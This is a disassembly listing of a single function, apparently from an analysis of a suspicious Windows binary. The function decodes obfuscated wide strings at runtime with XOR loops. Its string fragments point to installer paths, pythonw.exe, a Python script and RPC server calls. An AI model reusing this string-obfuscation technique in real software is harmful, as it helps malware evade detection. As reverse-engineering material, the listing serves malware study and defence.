Function at 0x330928720
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3e8
movaps xmmword [rsp + 0x390], xmm6
movaps xmmword [rsp + 0x3a0], xmm7
movaps xmmword [rsp + 0x3b0], xmm8
movaps xmmword [rsp + 0x3c0], xmm9
movaps xmmword [rsp + 0x3d0], xmm10
call fcn.330905770
call fcn.3309057d0
call fcn.330903030
mov ecx, 0x18
call fcn.3309de6b0
pxor xmm0, xmm0
mov ecx, 0x58
mov qword [rax + 0x10], 0
movups xmmword [rax], xmm0
mov qword [rsp + 0x40], rax
call fcn.3309de6b0
mov rdx, qword [0x330a15110]
mov r8d, 0x8ca0
mov rcx, rax
mov r12, rax
call fcn.330927b70
mov rcx, r12
lea r15, [rsp + 0x330]
lea rsi, [rsp + 0x2d0]
call fcn.3309279b0
mov rcx, qword [r12 + 0x30]
mov r9, rsi
mov r8, r15
movdqa xmm0, xmmword [str.c43c6cce1900650dcb76081e76167060b829c25c90aa89352d3cf4a6375732c16b1c7d9de4addef6acf63e944098c36foriginal_installC:UsersPublicDownload]
mov edx, dword [r12 + 0x38]
mov byte [rsp + 0x2f0], 0
mov byte [rsp + 0x370], 0
movaps xmmword [rsp + 0x2d0], xmm0
movdqa xmm0, xmmword [0x3309e6340]
movaps xmmword [rsp + 0x2e0], xmm0
movdqa xmm0, xmmword [0x3309e6350]
movaps xmmword [rsp + 0x330], xmm0
movdqa xmm0, xmmword [0x3309e6360]
movaps xmmword [rsp + 0x340], xmm0
movdqa xmm0, xmmword [0x3309e6370]
movaps xmmword [rsp + 0x350], xmm0
movdqa xmm0, xmmword [0x3309e6380]
movaps xmmword [rsp + 0x360], xmm0
call fcn.330909680
mov rdx, qword [r12 + 0x38]
mov rcx, qword [r12 + 0x30]
mov r9d, 0x72
mov r8d, 0xffffffff
call fcn.330923d10
movdqa xmm0, xmmword [0x3309e6390]
mov rdx, r15
mov dword [rsp + 0x340], 0x742e7265
mov r12, rax
mov eax, 0x7478
mov byte [rsp + 0x346], 0
mov rcx, r12
mov word [rsp + 0x344], ax
movaps xmmword [rsp + 0x330], xmm0
call fcn.3309220b0
test eax, eax
jne 0x330928ab4
lea r8, [rsp + 0x1c0]
lea rdx, [rsp + 0x170]
mov rcx, r12
call fcn.330922d20
mov rcx, qword [rsp + 0x170]
mov edx, 0xa
lea rbx, [rsp + 0x280]
lea r13, [rsp + 0x270]
call sub.msvcrt.dll_strchr
mov rcx, r12
mov byte [rax], 0
mov rdx, qword [rsp + 0x170]
call fcn.3309220b0
mov rax, qword [0x3309e63b0]
mov rcx, r15
movdqa xmm0, xmmword [0x3309e63a0]
mov byte [rsp + 0x34a], 0
mov qword [rsp + 0x340], rax
mov eax, 0x5c73
mov word [rsp + 0x348], ax
mov qword [rsp + 0x270], rbx
movaps xmmword [rsp + 0x330], xmm0
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x2d0], rax
mov rdi, rax
cmp rax, 0xf
ja 0x33092a9a2
cmp rax, 1
jne 0x33092a970
mov byte [rsp + 0x280], 0x43
mov rdx, rbx
mov qword [rsp + 0x278], rax
lea rbp, [rsp + 0x2e0]
mov byte [rdx + rax], 0
mov r14, qword [rsp + 0x270]
mov rdi, qword [rsp + 0x278]
mov qword [rsp + 0x2d0], rbp
mov rax, r14
mov r13, qword [rsp + 0x170]
add rax, rdi
je 0x3309289ab
test r14, r14
je 0x33092ac41
mov qword [rsp + 0x330], rdi
cmp rdi, 0xf
ja 0x33092aa11
cmp rdi, 1
jne 0x33092a991
movzx eax, byte [r14]
mov byte [rsp + 0x2e0], al
mov rax, rbp
mov qword [rsp + 0x2d8], rdi
mov rcx, r13
mov byte [rax + rdi], 0
call sub.msvcrt.dll_strlen
mov r8, rax
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x2d8]
cmp r8, rax
ja 0x33092ac35
mov rdx, r13
mov rcx, rsi
call fcn.3309cbcb0
mov rdi, qword [rsp + 0x2d8]
mov edx, 4
mov rcx, rdi
call sub.msvcrt.dll_calloc
mov rdx, qword [rsp + 0x2d0]
mov r8, rdi
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov rdx, qword [rsp + 0x2d0]
mov rcx, r12
call fcn.330922ed0
mov rcx, qword [rsp + 0x2d0]
mov rdx, r15
mov byte [rsp + 0x334], 0
mov dword [rsp + 0x330], 0x69736d2e
call fcn.330924530
mov r13, qword [rsp + 0x2d0]
test eax, eax
je 0x33092aa5a
cmp r13, rbp
je 0x330928a96
mov rax, qword [rsp + 0x2e0]
mov rcx, r13
lea rdx, [rax + 1]
call fcn.3309de670
mov rcx, qword [rsp + 0x270]
cmp rcx, rbx
je 0x330928ab4
mov rax, qword [rsp + 0x280]
lea rdx, [rax + 1]
call fcn.3309de670
mov ecx, 0x20
call fcn.3309de6b0
mov edx, 0x3e8
mov rcx, rax
mov r13, rax
call fcn.330928670
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x330], r13
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092a981
mov qword [rdx], r13
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x48
lea r14, [rsp + 0x340]
call fcn.3309de6b0
movdqa xmm0, xmmword [str.installer_data.z_CSIDL_LOCAL_APP_t]
mov rdx, r15
mov rcx, r12
mov r13, rax
mov qword [rax + 8], 0
mov qword [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov qword [rax + 0x38], 0
mov qword [rax + 0x40], 0
mov rax, qword [0x3309eb320]
mov qword [r13 + 0x18], 0
add rax, 0x10
movaps xmmword [rsp + 0x330], xmm0
mov qword [r13], rax
lea rax, [r13 + 0x20]
mov qword [r13 + 0x10], rax
mov eax, 0x7069
mov byte [rsp + 0x342], 0
mov word [rsp + 0x340], ax
call fcn.3309220b0
lea rdx, [r13 + 0x30]
lea r8, [r13 + 0x38]
mov rcx, r12
call fcn.330922d20
mov eax, 0x25
mov rcx, r15
xor r8d, r8d
movdqa xmm0, xmmword [0x3309e63d0]
mov word [rsp + 0x2e4], ax
lea rax, [rsp + 0x270]
mov rdx, rax
mov dword [rsp + 0x2e0], 0x41544144
movaps xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x330], r14
mov qword [rsp + 0x270], 0x15
mov qword [rsp + 0x28], rax
call fcn.3309cbdf0
pxor xmm0, xmm0
mov ecx, 0x20
mov rdx, qword [rsp + 0x270]
movdqa xmm5, xmmword [rsp + 0x2d0]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x340], rdx
movups xmmword [rax], xmm5
mov edx, dword [rsp + 0x2e0]
mov qword [rsp + 0xc0], 0
mov dword [rax + 0x10], edx
movzx edx, byte [rsp + 0x2e4]
movaps xmmword [rsp + 0xb0], xmm0
mov byte [rax + 0x14], dl
mov rax, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x330]
mov qword [rsp + 0x338], rax
mov byte [rdx + rax], 0
call fcn.3309de6b0
mov rbp, qword [rsp + 0x330]
mov r12, rax
lea rdi, [rax + 0x20]
mov qword [rsp + 0xb0], rax
mov rbx, qword [rsp + 0x338]
lea rax, [rax + 0x10]
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0x30], rax
mov qword [r12], rax
mov rax, rbp
add rax, rbx
je 0x330928cab
test rbp, rbp
je 0x33092acbd
mov qword [rsp + 0x270], rbx
cmp rbx, 0xf
ja 0x33092a450
cmp rbx, 1
jne 0x33092a438
movzx eax, byte [rbp]
mov byte [r12 + 0x10], al
mov rax, qword [rsp + 0x30]
mov qword [r12 + 8], rbx
mov byte [rax + rbx], 0
mov rcx, qword [rsp + 0x330]
mov qword [rsp + 0xb8], rdi
cmp rcx, r14
je 0x330928d08
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.3309de670
nop dword [rax]
pxor xmm0, xmm0
mov ecx, 0x20
mov qword [rsp + 0x340], 0
movaps xmmword [rsp + 0x330], xmm0
call fcn.3309de6b0
mov rbp, qword [r12]
lea rcx, [rax + 0x10]
mov rbx, qword [r12 + 8]
mov r14, rax
lea rdi, [rax + 0x20]
movq xmm0, rax
mov qword [rax], rcx
mov rax, rbp
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x340], rdi
add rax, rbx
movaps xmmword [rsp + 0x330], xmm0
je 0x330928d6b
test rbp, rbp
je 0x33092ac4d
mov qword [rsp + 0x2d0], rbx
cmp rbx, 0xf
ja 0x33092a4a0
cmp rbx, 1
jne 0x33092a490
movzx eax, byte [rbp]
mov byte [r14 + 0x10], al
mov qword [r14 + 8], rbx
mov byte [rcx + rbx], 0
mov ecx, 0x68
mov qword [rsp + 0x338], rdi
call fcn.3309de6b0
mov rdx, r15
mov rcx, rax
mov rbx, rax
call fcn.330927600
mov rsi, qword [rsp + 0x338]
mov r14, qword [rsp + 0x330]
cmp rsi, r14
je 0x330928dfe
nop dword [rax]
mov rcx, qword [r14]
lea rax, [r14 + 0x10]
cmp rcx, rax
je 0x33092a420
mov rax, qword [r14 + 0x10]
add r14, 0x20
lea rdx, [rax + 1]
call fcn.3309de670
cmp rsi, r14
jne 0x330928dd0
mov r14, qword [rsp + 0x330]
test r14, r14
je 0x330928e16
mov rdx, qword [rsp + 0x340]
mov rcx, r14
sub rdx, r14
call fcn.3309de670
mov ecx, 0x68
call fcn.3309de6b0
mov r8, rbx
mov rdx, r13
mov rcx, rax
mov r14, rax
call fcn.330927ef0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x210], r14
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092ab19
mov qword [rdx], r14
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x20
call fcn.3309de6b0
mov edx, 0x3e8
mov rcx, rax
mov r13, rax
call fcn.330928670
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x270], r13
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092ab2e
mov qword [rdx], r13
add rdx, 8
mov qword [rax + 8], rdx
movzx eax, word [0x3309e62bc]
xor r15d, r15d
movzx edx, word [0x3309e62e0]
mov dword [rsp + 0x330], 0x2c
mov word [rsp + 0x326], r15w
mov dword [rsp + 0x2f8], 0x2c0009
movd xmm6, eax
movzx eax, word [str.Notepadpythonw.exe]
pinsrw xmm6, word [0x3309e62be], 1
movd xmm2, eax
movzx eax, word [0x3309e62c4]
pinsrw xmm2, word [0x3309e62c2], 1
movd xmm0, eax
movzx eax, word [0x3309e62c8]
punpckldq xmm6, xmm2
pinsrw xmm0, word [0x3309e62c6], 1
movd xmm1, eax
movzx eax, word [0x3309e62cc]
pinsrw xmm1, word [0x3309e62ca], 1
movd xmm7, eax
movzx eax, word [0x3309e62d0]
punpckldq xmm0, xmm1
pinsrw xmm7, word [0x3309e62ce], 1
punpcklqdq xmm6, xmm0
movd xmm2, eax
movzx eax, word [0x3309e62d4]
pinsrw xmm2, word [0x3309e62d2], 1
movd xmm0, eax
movzx eax, word [0x3309e62d8]
punpckldq xmm7, xmm2
pinsrw xmm0, word [0x3309e62d6], 1
movd xmm1, eax
movzx eax, word [0x3309e62e2]
pinsrw xmm1, word [0x3309e62da], 1
punpckldq xmm0, xmm1
shl rax, 0x10
punpcklqdq xmm7, xmm0
movdqa xmm0, xmmword [0x3309e63e0]
or rax, rdx
movzx edx, word [0x3309e62de]
shl rax, 0x10
movaps xmmword [rsp + 0x2d0], xmm0
movdqa xmm0, xmmword [0x3309e63f0]
or rax, rdx
movzx edx, word [0x3309e62dc]
shl rax, 0x10
movaps xmmword [rsp + 0x2e0], xmm0
movdqa xmm0, xmmword [str.________e]
or rax, rdx
mov rdx, qword [0x3309e6400]
movq xmm8, rax
movdqa xmm1, xmm0
pxor xmm0, xmm7
mov qword [rsp + 0x2f0], rdx
movabs rdx, 0x60007300600068
pxor xmm1, xmm6
movups xmmword [rsp + 0x30c], xmm0
movups xmmword [rsp + 0x2fc], xmm1
movq xmm0, qword [str.________e]
movzx eax, word [0x3309e62e4]
movdqa xmm5, xmmword [rsp + 0x2f0]
movdqa xmm3, xmmword [rsp + 0x300]
xor eax, 0x2c
pxor xmm0, xmm8
mov word [rsp + 0x324], ax
movabs rax, 0x65007f006f0009
mov qword [rsp + 0x334], rax
movabs rax, 0x60006d006f0063
mov qword [rsp + 0x33c], rdx
movabs rdx, 0x7c007c006d0073
mov qword [rsp + 0x344], rax
movq qword [rsp + 0x31c], xmm0
mov rax, qword [rsp + 0x320]
movdqa xmm4, xmmword [rsp + 0x310]
mov qword [rsp + 0x34c], rdx
movups xmmword [rsp + 0x354], xmm5
movups xmmword [rsp + 0x364], xmm3
movups xmmword [rsp + 0x374], xmm4
mov qword [rsp + 0x384], rax
xor eax, eax
nop
movzx edx, word [rsp + rax*2 + 0x334]
mov ecx, dword [rsp + 0x330]
xor edx, ecx
mov word [rsp + rax*2 + 0x334], dx
add rax, 1
cmp rax, 0x2b
jne 0x3309290b0
lea rax, [rsp + 0x210]
lea r13, [rsp + 0x334]
xor r14d, r14d
mov qword [rsp + 0x50], rax
mov rcx, r13
lea rax, [rsp + 0x220]
mov word [rsp + 0x38a], r14w
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x210], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x270], rsi
cmp rbx, 0xe
ja 0x33092a684
mov rcx, qword [rsp + 0x210]
mov rax, rsi
cmp rsi, 1
je 0x33092a674
test rsi, rsi
jne 0x33092a4fb
xor ebp, ebp
xor r13d, r13d
mov qword [rsp + 0x218], rax
mov word [rcx + rax*2], bp
mov dword [rsp + 0x270], 0x69
mov edi, dword [rsp + 0x270]
mov word [rsp + 0x1be], r13w
mov esi, dword [rsp + 0x270]
mov r13d, dword [rsp + 0x270]
mov r14d, dword [rsp + 0x270]
mov r15d, dword [rsp + 0x270]
mov eax, dword [rsp + 0x270]
mov ebx, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
mov dword [rsp + 0x9c], eax
mov edx, dword [rsp + 0x270]
mov dword [rsp + 0x98], ebx
mov r11d, dword [rsp + 0x270]
mov dword [rsp + 0x94], ecx
mov r10d, dword [rsp + 0x270]
mov r9d, dword [rsp + 0x270]
mov r8d, dword [rsp + 0x270]
mov dword [rsp + 0x90], edx
mov ebp, dword [rsp + 0x270]
mov eax, dword [rsp + 0x270]
mov dword [rsp + 0x8c], r11d
mov ebx, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
mov dword [rsp + 0x88], r10d
mov dword [rsp + 0x84], r9d
mov dword [rsp + 0x80], r8d
mov dword [rsp + 0x7c], ebp
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x60], ecx
mov edx, dword [rsp + 0x270]
mov r11d, dword [rsp + 0x270]
mov eax, dword [rsp + 0x270]
mov dword [rsp + 0x58], edx
mov ebx, dword [rsp + 0x270]
mov dword [rsp + 0x38], r11d
mov r8d, dword [rsp + 0x270]
add eax, 0x13
mov r11d, dword [rsp + 0x270]
movd xmm1, eax
add ebx, 0x14
mov edx, dword [rsp + 0x270]
mov r10d, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
add r8d, 0x15
add edx, 0x17
xor r8w, word [0x3309e62ea]
xor dx, word [0x3309e62ee]
add r11d, 0x16
add ecx, 0x19
movd xmm3, r8d
movd xmm0, edx
add r10d, 0x18
xor cx, word [0x3309e62f2]
mov r9d, dword [rsp + 0x270]
movd xmm2, ecx
mov edx, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
mov r8d, dword [rsp + 0x270]
mov eax, dword [rsp + 0x270]
add r9d, 0x1a
movzx ecx, cx
movzx edx, dx
xor bx, word [str.Notepad_test_gpu.py]
xor r11w, word [0x3309e62ec]
movzx eax, ax
movzx r8d, r8w
pinsrw xmm3, r11d, 1
xor r10w, word [0x3309e62f0]
shl rax, 0x10
pinsrw xmm1, ebx, 1
lea ebx, [r14 + 3]
xor r9w, word [0x3309e62f4]
or rax, r8
punpckldq xmm1, xmm3
movq xmm3, qword [0x3309e6420]
pinsrw xmm2, r9d, 1
shl rax, 0x10
pinsrw xmm0, r10d, 1
or rax, rcx
punpckldq xmm0, xmm2
shl rax, 0x10
punpcklqdq xmm1, xmm0
movd xmm0, edi
or rax, rdx
movzx edx, word [0x3309e62fa]
movq xmm5, rax
movzx eax, word [0x3309e62fc]
paddw xmm3, xmm5
shl rax, 0x10
or rax, rdx
movzx edx, word [0x3309e62f8]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x3309e62f6]
shl rax, 0x10
or rax, rdx
movq xmm4, rax
mov eax, dword [rsp + 0x270]
mov edx, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
pxor xmm3, xmm4
add eax, 0x1f
xor ax, word [0x3309e62fe]
movzx edx, dx
mov r8d, dword [rsp + 0x270]
mov ebp, eax
mov eax, dword [rsp + 0x270]
movzx ecx, cx
movzx r14d, word [rsp + 0x9c]
movzx r8d, r8w
movzx edi, word [rsp + 0x90]
movq xmm2, qword [str.___Notepadpythonw.]
movzx eax, ax
lea r11d, [r14 + 5]
movzx r14d, word [rsp + 0x98]
shl rax, 0x10
or rax, r8
lea r8d, [r13 + 2]
add esi, 1
shl rax, 0x10
movd xmm9, r8d
pinsrw xmm0, esi, 1
movzx r8d, word [rsp + 0x80]
or rax, rcx
lea ecx, [r14 + 6]
movzx r14d, word [rsp + 0x94]
pinsrw xmm9, ebx, 1
shl rax, 0x10
punpckldq xmm0, xmm9
movzx esi, word [rsp + 0x88]
or rax, rdx
movzx edx, word [0x3309e6304]
lea r9d, [r14 + 7]
movzx r14d, word [rsp + 0x68]
movq xmm5, rax
movzx eax, word [0x3309e6306]
paddw xmm2, xmm5
movd xmm5, ecx
lea ecx, [r8 + 0xc]
movzx r8d, word [rsp + 0x7c]
shl rax, 0x10
pinsrw xmm5, r9d, 1
lea r9d, [rsi + 0xa]
movzx esi, word [rsp + 0x84]
or rax, rdx
movzx edx, word [0x3309e6302]
lea ebx, [r8 + 0xd]
movd xmm10, r9d
shl rax, 0x10
movzx r8d, word [rsp + 0x70]
add esi, 0xb
or rax, rdx
movzx edx, word [0x3309e6300]
pinsrw xmm10, esi, 1
shl rax, 0x10
add r8d, 0xe
or rax, rdx
mov edx, dword [rsp + 0x270]
movd xmm9, r8d
movq xmm4, rax
mov eax, dword [rsp + 0x270]
mov r10d, dword [rsp + 0x270]
add edx, 0x24
xor dx, word [0x3309e6308]
pxor xmm2, xmm4
add eax, 0x25
xor ax, word [0x3309e630a]
movzx edx, dx
add r10d, 0x26
shl eax, 0x10
xor r10w, word [0x3309e630c]
or edx, eax
lea eax, [r15 + 4]
movd xmm4, eax
lea eax, [rdi + 8]
movzx edi, word [rsp + 0x8c]
pinsrw xmm4, r11d, 1
lea r11d, [r14 + 0xf]
punpckldq xmm4, xmm5
add edi, 9
pinsrw xmm9, r11d, 1
punpcklqdq xmm0, xmm4
pxor xmm0, xmmword [0x3309e6430]
movd xmm4, ecx
pinsrw xmm4, ebx, 1
movdqa xmm5, xmm0
movaps xmmword [rsp + 0x170], xmm0
movd xmm0, eax
movzx eax, word [rsp + 0x60]
pinsrw xmm0, edi, 1
movzx edi, word [rsp + 0x58]
punpckldq xmm4, xmm9
add eax, 0x10
punpckldq xmm0, xmm10
lea ecx, [rdi + 0x11]
xor eax, 0x65
punpcklqdq xmm0, xmm4
xor ecx, 0x78
movzx eax, ax
pxor xmm0, xmmword [0x3309e6440]
shl ecx, 0x10
or eax, ecx
movaps xmmword [rsp + 0x180], xmm0
mov dword [rsp + 0x190], eax
movzx eax, word [rsp + 0x38]
add eax, 0x12
xor eax, 0x65
mov word [rsp + 0x194], ax
xor eax, eax
movups xmmword [rsp + 0x196], xmm1
movq qword [rsp + 0x1a6], xmm3
movdqa xmm3, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x274], xmm5
mov word [rsp + 0x1ae], bp
movups xmmword [rsp + 0x284], xmm0
mov dword [rsp + 0x1b8], edx
movups xmmword [rsp + 0x294], xmm3
movdqa xmm3, xmmword [rsp + 0x1a0]
mov word [rsp + 0x1bc], r10w
movq qword [rsp + 0x1b0], xmm2
movdqa xmm5, xmmword [rsp + 0x1b0]
movups xmmword [rsp + 0x2a4], xmm3
movups xmmword [rsp + 0x2b4], xmm5
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x274]
mov edx, dword [rsp + 0x270]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x274], dx
add rax, 1
cmp rax, 0x27
jne 0x330929648
xor edi, edi
lea r13, [rsp + 0x274]
mov word [rsp + 0x2c2], di
mov rcx, r13
lea rdi, [rsp + 0x240]
mov qword [rsp + 0x230], rdi
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x1c0], rsi
cmp rbx, 0xe
ja 0x33092a6b6
mov rcx, qword [rsp + 0x230]
mov rax, rsi
cmp rsi, 1
je 0x33092a664
test rsi, rsi
jne 0x33092a4db
xor esi, esi
pxor xmm0, xmm0
mov qword [rsp + 0x238], rax
mov word [rcx + rax*2], si
mov ecx, 0x40
mov qword [rsp + 0xe0], 0
movaps xmmword [rsp + 0xd0], xmm0
call fcn.3309de6b0
lea rcx, [rax + 0x10]
lea rbp, [rax + 0x40]
mov r13, rax
mov qword [rsp + 0xd0], rax
mov qword [rax], rcx
mov r14, qword [rsp + 0x210]
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0xe0], rbp
lea rbx, [rax + rax]
mov rax, r14
add rax, rbx
je 0x330929744
test r14, r14
je 0x33092ac59
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x1c0], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a75e
cmp rsi, 1
je 0x33092a6ee
test rsi, rsi
jne 0x33092a559
xor ebx, ebx
mov qword [r13 + 8], rax
mov r14, qword [rsp + 0x230]
lea r15, [r13 + 0x20]
mov word [rcx + rax*2], bx
mov rax, qword [rsp + 0x238]
lea rcx, [r13 + 0x30]
mov qword [r13 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, r14
add rax, rbx
je 0x3309297ad
test r14, r14
je 0x33092ac5c
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x1c0], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a789
movq xmm0, qword [0x3309e6450]
paddw xmm8, xmm0
movdqa xmm0, xmmword [0x3309e6450]
paddw xmm6, xmm0
paddw xmm7, xmm0
cmp rsi, 1
je 0x33092a6fa
test rsi, rsi
jne 0x33092a51b
xor r11d, r11d
mov qword [r13 + 0x28], rax
mov word [rcx + rax*2], r11w
mov rcx, qword [rsp + 0x230]
mov qword [rsp + 0xd8], rbp
cmp rcx, rdi
je 0x33092982b
mov rax, qword [rsp + 0x240]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rcx, qword [rsp + 0x210]
cmp rcx, qword [rsp + 0x48]
je 0x33092984c
mov rax, qword [rsp + 0x220]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rax, qword [0x3309e6480]
xor r10d, r10d
movdqa xmm0, xmmword [str.EUKFNaNQECNaCRRFCVC]
movups xmmword [rsp + 0x35c], xmm6
movabs rdx, 0x4e0061004e0046
mov dword [rsp + 0x358], 0x20027
mov qword [rsp + 0x350], rax
movzx eax, word [0x3309e62e4]
movdqa xmm6, xmmword [rsp + 0x350]
movups xmmword [rsp + 0x36c], xmm7
movdqa xmm7, xmmword [rsp + 0x360]
add eax, 2
movaps xmmword [rsp + 0x330], xmm0
movdqa xmm0, xmmword [0x3309e6470]
mov word [rsp + 0x384], ax
movabs rax, 0x4b005500450027
mov qword [rsp + 0x270], rax
movabs rax, 0x4e004300450051
mov qword [rsp + 0x278], rdx
movabs rdx, 0x52005200430061
mov qword [rsp + 0x280], rax
movq qword [rsp + 0x37c], xmm8
mov qword [rsp + 0x288], rdx
mov word [rsp + 0x386], r10w
mov rax, qword [rsp + 0x380]
movaps xmmword [rsp + 0x290], xmm6
movdqa xmm6, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x2a0], xmm7
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x2b0], xmm6
mov qword [rsp + 0x2c0], rax
xor eax, eax
nop dword [rax + rax]
movzx edx, word [rsp + rax*2 + 0x270]
sub edx, 2
mov word [rsp + rax*2 + 0x270], dx
add rax, 1
cmp rax, 0x2b
jne 0x330929950
lea rax, [rsp + 0x130]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x130], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
cmp rbx, 0xe
ja 0x33092a7b4
mov rcx, qword [rsp + 0x130]
mov rax, rsi
cmp rsi, 1
je 0x33092a706
test rsi, rsi
jne 0x33092a537
xor r8d, r8d
mov qword [rsp + 0x138], rax
xor r9d, r9d
movzx edx, word [0x3309e6332]
mov word [rcx + rax*2], r8w
movzx eax, word [str.RpcServerListen]
movdqa xmm5, xmmword [str.uuuuuuuu_]
xor edx, 0x75
mov rcx, qword [0x3309e64c0]
mov dword [rsp + 0x210], 0x75
mov word [rsp + 0x20e], r9w
movd xmm1, eax
shl edx, 0x10
movzx eax, word [0x3309e6314]
pinsrw xmm1, word [0x3309e6312], 1
mov qword [rsp + 0x1e0], rcx
movd xmm3, eax
movzx eax, word [0x3309e6318]
pinsrw xmm3, word [0x3309e6316], 1
movd xmm0, eax
movzx eax, word [0x3309e631c]
punpckldq xmm1, xmm3
pinsrw xmm0, word [0x3309e631a], 1
movd xmm2, eax
movzx eax, word [str.rpcrt4.d]
pinsrw xmm2, word [0x3309e631e], 1
punpckldq xmm0, xmm2
punpcklqdq xmm1, xmm0
movd xmm0, eax
movzx eax, word [0x3309e6324]
pinsrw xmm0, word [0x3309e6322], 1
pxor xmm1, xmm5
movd xmm4, eax
movzx eax, word [0x3309e6328]
pinsrw xmm4, word [0x3309e6326], 1
movups xmmword [rsp + 0x1e8], xmm1
movd xmm2, eax
movzx eax, word [0x3309e632c]
punpckldq xmm0, xmm4
pinsrw xmm2, word [0x3309e632a], 1
movd xmm3, eax
movzx eax, word [str.c43c6cce1900650dcb76081e76167060b829c25c90aa89352d3cf4a6375732c16b1c7d9de4addef6acf63e944098c36foriginal_installC:UsersPublicDownload]
pinsrw xmm3, word [0x3309e632e], 1
punpckldq xmm2, xmm3
xor eax, 0x75
punpcklqdq xmm0, xmm2
movzx eax, ax
pxor xmm5, xmm0
movdqa xmm0, xmmword [0x3309e64a0]
or eax, edx
movzx edx, word [0x3309e6334]
movups xmmword [rsp + 0x1f8], xmm5
movaps xmmword [rsp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x3309e64b0]
xor edx, 0x75
movaps xmmword [rsp + 0x1d0], xmm0
mov dword [rsp + 0x208], eax
movdqa xmm7, xmmword [rsp + 0x1e0]
movabs rax, 0x100001001a003b
mov word [rsp + 0x20c], dx
movabs rdx, 0x29001100140005
movdqa xmm6, xmmword [rsp + 0x1f0]
mov qword [rsp + 0x214], rax
movabs rax, 0x1000600100001
mov qword [rsp + 0x21c], rdx
movabs rdx, 0x500120058
mov qword [rsp + 0x224], rax
xor eax, eax
mov qword [rsp + 0x22c], rdx
movups xmmword [rsp + 0x234], xmm7
movdqa xmm7, xmmword [rsp + 0x200]
movups xmmword [rsp + 0x244], xmm6
movups xmmword [rsp + 0x254], xmm7
nop dword [rax + rax]
movzx edx, word [rsp + rax*2 + 0x214]
mov ecx, dword [rsp + 0x210]
xor edx, ecx
mov word [rsp + rax*2 + 0x214], dx
add rax, 1
cmp rax, 0x27
jne 0x330929bb8
xor ecx, ecx
lea r14, [rsp + 0x214]
lea rdi, [rsp + 0x160]
mov word [rsp + 0x262], cx
mov rcx, r14
mov qword [rsp + 0x150], rdi
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x110], rsi
cmp rbx, 0xe
ja 0x33092a726
mov rcx, qword [rsp + 0x150]
mov rax, rsi
cmp rsi, 1
je 0x33092a716
test rsi, rsi
jne 0x33092a575
xor edx, edx
pxor xmm0, xmm0
mov qword [rsp + 0x158], rax
mov word [rcx + rax*2], dx
mov ecx, 0x40
mov qword [rsp + 0x100], 0
movaps xmmword [rsp + 0xf0], xmm0
call fcn.3309de6b0
mov r14, rax
mov qword [rsp + 0xf0], rax
lea rax, [rax + 0x40]
mov r15, qword [rsp + 0x130]
mov qword [rsp + 0x38], rax
lea rcx, [r14 + 0x10]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x138]
mov qword [r14], rcx
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x330929cb7
test r15, r15
je 0x33092ac79
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x110], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a7fe
cmp rsi, 1
je 0x33092a7f2
test rsi, rsi
jne 0x33092a5b1
xor r15d, r15d
mov qword [r14 + 8], rax
mov word [rcx + rax*2], r15w
lea rax, [r14 + 0x20]
lea rcx, [r14 + 0x30]
mov r15, qword [rsp + 0x150]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x158]
mov qword [r14 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x330929d27
test r15, r15
je 0x33092ac7e
mov rsi, rbx
